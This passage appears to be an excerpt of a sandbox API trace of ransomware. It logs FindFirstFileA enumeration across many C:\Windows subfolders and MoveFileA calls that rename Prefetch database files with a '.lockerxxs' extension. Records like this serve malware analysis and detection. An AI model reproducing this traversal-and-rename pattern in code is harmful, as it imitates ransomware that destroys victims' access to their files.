returned 0x502618 [0139.706] FindFirstFileA (in: lpFileName="C:\\Windows\\Performance\\WinSAT\\DataStore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1b62210, ftLastAccessTime.dwHighDateTime=0x1d41fce, ftLastWriteTime.dwLowDateTime=0xc1b62210, ftLastWriteTime.dwHighDateTime=0x1d41fce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501554, cFileName=".", cAlternateFileName="")) returned 0x502598 [0139.712] FindFirstFileA (in: lpFileName="C:\\Windows\\PLA\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeaf781a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0139.715] FindFirstFileA (in: lpFileName="C:\\Windows\\PLA\\Reports\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1da26978, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da26978, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0139.718] FindFirstFileA (in: lpFileName="C:\\Windows\\PLA\\Reports\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da26978, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da26978, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0139.728] FindFirstFileA (in: lpFileName="C:\\Windows\\PLA\\Rules\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeaab566, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1da26978, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da26978, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0139.732] FindFirstFileA (in: lpFileName="C:\\Windows\\PLA\\Rules\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da26978, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da26978, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0139.744] FindFirstFileA (in: lpFileName="C:\\Windows\\PLA\\System\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeaf781a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0139.751] FindFirstFileA (in: lpFileName="C:\\Windows\\PLA\\Templates\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeaf781a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbbcac59, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0139.752] FindFirstFileA (in: lpFileName="C:\\Windows\\PolicyDefinitions\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb1d974, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x94d2e7b9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x94d2e7b9, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0139.761] FindFirstFileA (in: lpFileName="C:\\Windows\\PolicyDefinitions\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x95b0aa0c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x95b0aa0c, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501552, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.331] FindFirstFileA (in: lpFileName="C:\\Windows\\Prefetch\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6240bc00, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xe325e680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe325e680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.346] MoveFileA (lpExistingFileName="C:\\Windows\\Prefetch\\AgAppLaunch.db" (normalized: "c:\\windows\\prefetch\\agapplaunch.db"), lpNewFileName="C:\\Windows\\Prefetch\\AgAppLaunch.db.lockerxxs" (normalized: "c:\\windows\\prefetch\\agapplaunch.db.lockerxxs")) returned 1 [0140.370] MoveFileA (lpExistingFileName="C:\\Windows\\Prefetch\\AgGlFaultHistory.db" (normalized: "c:\\windows\\prefetch\\agglfaulthistory.db"), lpNewFileName="C:\\Windows\\Prefetch\\AgGlFaultHistory.db.lockerxxs" (normalized: "c:\\windows\\prefetch\\agglfaulthistory.db.lockerxxs")) returned 1 [0140.431] MoveFileA (lpExistingFileName="C:\\Windows\\Prefetch\\AgGlFgAppHistory.db" (normalized: "c:\\windows\\prefetch\\agglfgapphistory.db"), lpNewFileName="C:\\Windows\\Prefetch\\AgGlFgAppHistory.db.lockerxxs" (normalized: "c:\\windows\\prefetch\\agglfgapphistory.db.lockerxxs")) returned 1 [0140.510] MoveFileA (lpExistingFileName="C:\\Windows\\Prefetch\\AgGlGlobalHistory.db" (normalized: "c:\\windows\\prefetch\\agglglobalhistory.db"), lpNewFileName="C:\\Windows\\Prefetch\\AgGlGlobalHistory.db.lockerxxs" (normalized: "c:\\windows\\prefetch\\agglglobalhistory.db.lockerxxs")) returned 1 [0140.534] MoveFileA (lpExistingFileName="C:\\Windows\\Prefetch\\AgGlUAD_P_S-1-5-21-3388679973-3930757225-3770151564-1000.db" (normalized: "c:\\windows\\prefetch\\aggluad_p_s-1-5-21-3388679973-3930757225-3770151564-1000.db"), lpNewFileName="C:\\Windows\\Prefetch\\AgGlUAD_P_S-1-5-21-3388679973-3930757225-3770151564-1000.db.lockerxxs" (normalized: "c:\\windows\\prefetch\\aggluad_p_s-1-5-21-3388679973-3930757225-3770151564-1000.db.lockerxxs")) returned 1 [0140.551] MoveFileA (lpExistingFileName="C:\\Windows\\Prefetch\\AgGlUAD_S-1-5-21-3388679973-3930757225-3770151564-1000.db" (normalized: "c:\\windows\\prefetch\\aggluad_s-1-5-21-3388679973-3930757225-3770151564-1000.db"), lpNewFileName="C:\\Windows\\Prefetch\\AgGlUAD_S-1-5-21-3388679973-3930757225-3770151564-1000.db.lockerxxs" (normalized: "c:\\windows\\prefetch\\aggluad_s-1-5-21-3388679973-3930757225-3770151564-1000.db.lockerxxs")) returned 1 [0140.558] MoveFileA (lpExistingFileName="C:\\Windows\\Prefetch\\AgRobust.db" (normalized: "c:\\windows\\prefetch\\agrobust.db"), lpNewFileName="C:\\Windows\\Prefetch\\AgRobust.db.lockerxxs" (normalized: "c:\\windows\\prefetch\\agrobust.db.lockerxxs")) returned 1 [0140.566] FindFirstFileA (in: lpFileName="C:\\Windows\\Prefetch\\ReadyBoot\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6240bc00, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xd13d4e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd13d4e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.572] FindFirstFileA (in: lpFileName="C:\\Windows\\Registration\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb43ace, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.573] FindFirstFileA (in: lpFileName="C:\\Windows\\Registration\\CRMLog\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb69c28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa35dd730, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.730] FindFirstFileA (in: lpFileName="C:\\Windows\\rescache\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2b041c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b041c20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.731] FindFirstFileA (in: lpFileName="C:\\Windows\\rescache\\rc0002\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x195bc900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1981df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1981df00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.733] FindFirstFileA (in: lpFileName="C:\\Windows\\rescache\\rc0003\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ac899c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2afcf800, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2afcf800, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.734] FindFirstFileA (in: lpFileName="C:\\Windows\\Resources\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb8fd82, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.735] FindFirstFileA (in: lpFileName="C:\\Windows\\Resources\\Ease of Access Themes\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff21b8fa, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff21b8fa, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.741] FindFirstFileA (in: lpFileName="C:\\Windows\\Resources\\Themes\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x91cbf0ce, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x91cbf0ce, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.742] FindFirstFileA (in: lpFileName="C:\\Windows\\Resources\\Themes\\Aero\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x57276d67, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x57276d67, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.744] FindFirstFileA (in: lpFileName="C:\\Windows\\Resources\\Themes\\Aero\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36a560f6, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1282, cFileName=".", cAlternateFileName="")) returned 0x502518 [0140.748] FindFirstFileA (in: lpFileName="C:\\Windows\\Resources\\Themes\\Aero\\Shell\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0140.748] FindFirstFileA (in: lpFileName="C:\\Windows\\Resources\\Themes\\Aero\\Shell\\NormalColor\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36a560f6, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x36a560f6, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0140.749] FindFirstFileA (in: lpFileName="C:\\Windows\\Resources\\Themes\\Aero\\Shell\\NormalColor\\en-US\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36a560f6, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0140.756] FindFirstFileA (in: lpFileName="C:\\Windows\\SchCache\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcb547a92, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.756] FindFirstFileA (in: lpFileName="C:\\Windows\\schemas\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.759] FindFirstFileA (in: lpFileName="C:\\Windows\\schemas\\AvailableNetwork\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.763] FindFirstFileA (in: lpFileName="C:\\Windows\\schemas\\EAPHost\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff241a54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff241a54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.769] FindFirstFileA (in: lpFileName="C:\\Windows\\schemas\\EAPMethods\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff241a54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff241a54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.774] FindFirstFileA (in: lpFileName="C:\\Windows\\schemas\\TSWorkSpace\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff21b8fa, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff21b8fa, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.775] FindFirstFileA (in: lpFileName="C:\\Windows\\schemas\\WCN\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8068675c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8068675c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.778] FindFirstFileA (in: lpFileName="C:\\Windows\\security\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98abb4cc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.780] FindFirstFileA (in: lpFileName="C:\\Windows\\security\\ApplicationId\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa30f663, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.780] FindFirstFileA (in: lpFileName="C:\\Windows\\security\\ApplicationId\\PolicyManagement\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa3358d2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.783] FindFirstFileA (in: lpFileName="C:\\Windows\\security\\audit\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec282ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec282ea, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcfd48e66, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.784] FindFirstFileA (in: lpFileName="C:\\Windows\\security\\database\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec282ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8095640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x8095640, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.789] FindFirstFileA (in: lpFileName="C:\\Windows\\security\\logs\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec282ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc8065d1d, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xc8065d1d, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.791] FindFirstFileA (in: lpFileName="C:\\Windows\\security\\templates\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec282ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec282ea, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9bbdf94c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.793] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650074, dwReserved1=0x70006d, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0140.793] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4be0d01, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xc27c1cba, ftLastAccessTime.dwHighDateTime=0x1ca0451, ftLastWriteTime.dwLowDateTime=0xc27c1cba, ftLastWriteTime.dwHighDateTime=0x1ca0451, nFileSizeHigh=0x0, nFileSizeLow=0x0, 